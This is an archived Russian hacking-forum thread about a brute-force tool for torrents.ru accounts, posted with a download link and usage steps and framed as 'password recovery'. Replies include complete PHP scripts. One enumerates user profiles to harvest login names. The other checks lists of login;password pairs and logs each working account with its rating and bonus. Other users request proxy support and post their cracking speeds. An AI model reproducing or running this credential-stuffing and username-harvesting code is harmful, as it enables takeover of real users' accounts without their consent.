PDA

Просмотр полной версии : Torrents.ru BruteForce


Stels™
20.02.2009, 22:09
::Torrents.ru BruteForce::
http://i006.radikal.ru/0902/73/4c5ff76a5094.jpg
Torrents.ru BruteForce - программа для восстановления забытого пароля к своему аккаунту на сайте torrents.ru.
Как использовать:
1. Создаём список для брута. Список должен иметь формат вида:
login;pass
login;pass
login;pass
и т.д.
Для генерации такого списка вполне подойдут uin;pass генераторы:
- FS Gen (http://forum.grabberz.com/showthread.php?t=16584)
- Uin Generator by Swift
- V-ListMaker и др..
просто вместо uin'ов подставляем логины(проводим путь к файлу с логинами).
После создания такого списка - в поле напротив Source указываем путь к этому файлу.
2. напротив Good и Bad - пишем пути к файлам, в который будут скидываться Good(верная пара login;pass) и Bad (неверная) соответственно.
3. Указываем число потоков.
В принципе вот и всё:).
Дополнительные возможности:
4. ICQ Bot. скидывает гуды хозяину, и оповещает о конце брута со списком гудов. Также в него встроены несколько основных команд - показать статистику, гуды; вкл/выкл брут.
5. Сохранение текущих настроек программы в файл conf.ini и извлечение их оттуда при запуске. Настройки для ICQ Bot'a нужно вводить там. Наличие файла необязательно.

PS NemeZz, чувак, спс те, за то что помогал раньше.
PSS версия бета.
PSSS оставляем отзывы, пожелания.
Download (http://multi-up.com/60265) (размер torrents_brute.exe - 513 кб)

Автор не несет ответственности за использование вами данного софта.

waik
20.02.2009, 22:23
не помешал бы парсер уинов а то брутить некого-))
А так молодец прогу ещенетестил но идея норм

Stels™
20.02.2009, 22:42
waik, какие ещё уины?)), а насчёт логинов - можно так походить пособирать.
и вот вобщем ссылка ('http://grabberz.com/showthread.php?p=195861#post195861') на "исходную" тему - если кому надо, то все обновления брута, логины будут выкладываться там.

waik
20.02.2009, 22:45
ну да я про ЛОГИНЫ ,ет омне их самому собирать замаиться !

zifanchuck
20.02.2009, 23:00
Если б она еще в трее скрывалась так вообще круто было)
спс +1)

b3
22.02.2009, 10:08
http://s47.radikal.ru/i115/0902/d9/cf0f081ee926.png

Парсер логинов, работает на Курле, для использования нужен регнутый акк, в придачу который прилагается. Работает не везде, но у меня с шелла фигачит как ненормальный.

<?php
/*
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
<title>Torrent.ru Login Parser</title>
<style type="text/css">
<!--
body,td,th {
color: #FFFFCC;
}
body {
background-color: #333333;
}
.style2 {
font-family: Verdana, Arial, Helvetica, sans-serif;
color: #FF0000;
font-weight: bold;
}
-->
</style>
</head>
<body>
<div align="center">
<h1>Torrent.ru Login Parser</h1>
</div>
*/
set_time_limit(0);
error_reporting(2047);
/*********************************
* @author b3 icq 282258
* @copyright БЫдлокоденг
* Собираем логины к torrents.ru
*
* ********************************/
function ShowForm()
{
echo " <div align=\"center\">
<table border=\"1\">
<form method=\"post\">

<tr>
<td>Login</td>
<td><input type=\"text\" value=\"RaMms1k\" size=\"20\" maxlength=\"20\" name=\"login\" /></td>
</tr>

<tr>
<td>Password</td>
<td><input type=\"text\" value=\"123qweasd\" size=\"20\" maxlength=\"20\" name=\"pass\" /></td>
</tr>

<tr>
<td>From ID</td>
<td><input type=\"text\" size=\"10\" maxlength=\"10\" name=\"from\" /></td>
</tr>

<tr>
<td>To ID</td>
<td><input type=\"text\" size=\"10\" maxlength=\"10\" name=\"to\" /></td>
</tr></table>
<input type=\"submit\" value=\"Login & Parse\" />
";
}
if(!isset($_POST['login']) or !$_POST['pass'] or !$_POST['from'] or !$_POST['to'])
{
echo "<center>Заполните все необходимые поля!</center><br>";
ShowForm();
exit;
}
$login = $_POST['login'];
$pass = $_POST['pass'];
$from = $_POST['from'];
$to = $_POST['to'];

if(!is_numeric($from) or !is_numeric($to))
{
echo "<div align=\"center\"><span class=\"style2\">Введите в поля FROM и TO цифровые значения ;)</span></div><br>";
ShowForm();
exit;
}

/*******************************[Logon on Forum]**************************************/
$url = "http://torrents.ru/forum/login.php";
$post = "login_username=".trim($login)."&login_password=".trim($pass)."&autologin=on&login=%C2%F5%EE%E4";
$ua = "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4";
$ref = "http://torrents.ru/forum/login.php";
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_USERAGENT, $ua);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_REFERER, $ref);
curl_setopt($ch, CURLOPT_COOKIEJAR, "./cook");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$res = curl_exec($ch);

if(preg_match('#Вы зашли как:#', $res, $matches))
{
echo "Удачная авторизация под логином: <b>$login</b><br>";
}
else
{
echo "Авторизация не удалась =(<br>";
ShowForm();
exit;
}
/*******************************[Parsen Login Names]**********************************/
$fp = fopen("logins.txt","a");

for ($i=$from;$i <= $to; $i++)
{
$ua = "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4";
$ref = "http://torrents.ru/forum/index.php";

$ch = curl_init("http://torrents.ru/forum/profile.php?mode=viewprofile&u=$i");
curl_setopt($ch, CURLOPT_USERAGENT, $ua);
//curl_setopt($ch, CURLOPT_COOKIEJAR, "./cook");
curl_setopt($ch, CURLOPT_COOKIEFILE, "./cook");
curl_setopt($ch, CURLOPT_REFERER, $ref);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$res = curl_exec($ch);

if(preg_match('#Профиль пользователя: (.*?)<\/h1>#', $res, $matches))
{
echo "$matches[1]<br>";
echo str_pad('',1000)."\n";
flush();
if($i != $matches[1])
{
fputs($fp,$matches[1]."\r\n");
}
}
elseif(preg_match('#пользователя не существует#', $res, $matches))
{
echo "Акаунт не существует<br>";
echo str_pad('',1000)."\n";
flush();
}

}
echo "</body></html>";
fclose($fp);
?>

MrTrick
26.02.2009, 22:22
torrents ru чекер.










<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=windows-1251" /> <title>Torrents.ru Checker</title> <style type="text/css"> <!-- body { background-color: #333333; } .table { border-top-color: #000000; border-right-color: #000000; border-bottom-color: #000000; border-left-color: #000000; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; color: #FFCC00; } .style1 { font-family: Verdana, Arial, Helvetica, sans-serif; color: #CCCCCC; } --> </style> </head> <body> <h2 align="center" class="style1">:: Torrents.ru Checker ::</h2> <table width="50%" border="1" align="center" class="table"> <tr> <td>Login</td> <td>Password</td> <td>Rate</td> <td>Bonus</td> </tr> <tr> <?php set_time_limit(0); $url = 'http://torrents.ru/forum/login.php'; $ua = 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4'; $ref = 'http://torrents.ru/forum/index.php'; $fp = fopen('result.txt','a'); $accs = file('accs.txt'); foreach ($accs as $acc) { list($login,$pass) = explode(';',$acc); $post = 'login_username='.trim($login).'&login_password='.trim($pass).'&login=%C2%F5%EE%E4'; $ch = curl_init($url); curl_setopt($ch, CURLOPT_USERAGENT, $ua); curl_setopt($ch, CURLOPT_COOKIEJAR, './cook'); curl_setopt($ch, CURLOPT_REFERER, $ref); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $post); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); $res = curl_exec($ch); $regxp = "#<a href=\"profile\.php\?mode=viewprofile\&amp;u=([0-9]{1,8})\"><b class=\"med\">$login#"; if(preg_match($regxp, $res, $matches)) { echo '<td>'.$login.'</b> ID:'.$matches[1].'</td>'; echo str_pad('',1024)."\n"; flush(); echo '<td>'.$pass.'</td>'; echo str_pad('',1024)."\n"; flush(); $url_cp = 'http://torrents.ru/forum/profile.php?mode=viewprofile&u='.$matches[1]; $ch = curl_init($url_cp); curl_setopt($ch, CURLOPT_USERAGENT, $ua); curl_setopt($ch, CURLOPT_COOKIEFILE, './cook'); curl_setopt($ch, CURLOPT_REFERER, $ref); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0); $res = curl_exec($ch); if(preg_match('#<b class=\"gen\">([0-9]{1,3}\.[0-9]{1,3})<\/b>#', $res, $matches)) { $rate = $matches[1]; echo '<td>Рейтинг:<b> '.$rate.'</b></td>'; echo str_pad('',1024)."\n"; flush(); } else { echo "<td>Произошла ошибка =(</td>"; } if(preg_match('#<td id=\"u_up_bonus\"><span class=\"editable bold\">(.*?)<\/span>#', $res, $matches)) { $bonus = str_replace('&nbsp;','',$matches[1]); echo str_pad('',1024)."\n"; flush(); echo '<td>Бонус:<b> '.$bonus.'</b></td></tr>'; echo str_pad('',1024)."\n"; flush(); } else { echo '<td>Oшибка сценария</td></tr>'; echo str_pad('',1024)."\n"; flush(); } } else { echo '<td>Залогиниться не удалось =(</td><td>=(</td><td>=(</td><td>=(</td></tr>'; } fputs($fp, trim($login).':'.trim($pass).' Rate: '.$rate .' Bonus: '.$bonus."\r\n"); } fclose($fp); ?> </table> </body> </html>






Скрипт использует либу cURL, для работы нужны логин;пасс список в файле accs.txt, результат выводин в браузер и .тхт файл result.txt, вида:
логин:пароль:рейтинг:бонус

X-Venom
26.02.2009, 23:18
из за чего ероры появляются?
зы еще бы поддержку прокси добавить

strelok_just_relax
26.02.2009, 23:25
а как переписать данный брут для работы на другом трекере? (в моем случае это локальный трекер)

BlackDraG
27.02.2009, 15:42
а как переписать данный брут для работы на другом трекере? (в моем случае это локальный трекер)
1)У автара взять/купить сорцы.
2)Попросить переписать брут
3)Написать свой )

X-Venom
27.02.2009, 16:40
у каво какая скорость?
мая
http://s51.radikal.ru/i133/0902/09/ade59fd99b68.jpg (http://www.radikal.ru)

X-Venom
27.02.2009, 18:30
гг)
http://s46.radikal.ru/i111/0902/f7/d9b264174036.jpg (http://www.radikal.ru)

mailbrush
27.02.2009, 19:26
ггг
http://i070.radikal.ru/0902/77/157f87074b9c.jpg
(C) не я

MrTrick
01.03.2009, 23:17
нормальный парсер дайте пожалуйста!

1ce666
02.03.2009, 20:39
А брутить можно трекеры на двиге как на торрентс точка ру ?

bosscs
05.03.2009, 01:48
Запускаю на деде, немного поработает потом
http://img6.imageshack.us/img6/7240/83890339.jpg

NemeZz
06.03.2009, 05:54
Тем, кто пользуется данной софтиной моя программа (http://forum.antichat.ru/thread109474.html) наверняка придется кстати.

Vet
10.04.2009, 00:16
Не знаю, насколько в тему вопрос..
А помогите залогиниться на torrents.ru :)
На Delphi, использую Indy, не получается залогиниться на сайт. Передаю параметры

Params.Add('login_username=username');
Params.Add('login_password=password');
Params.Add('login=');

Может, там особенности какие есть?

Fristail
15.04.2009, 12:54
ввели капчу...

Vet
15.04.2009, 13:14
ввели капчу...
Я и без капчи не мог залогиниться

djoni84
28.06.2009, 19:39
странно я поставл действубщие логин и пароль но он его не нашол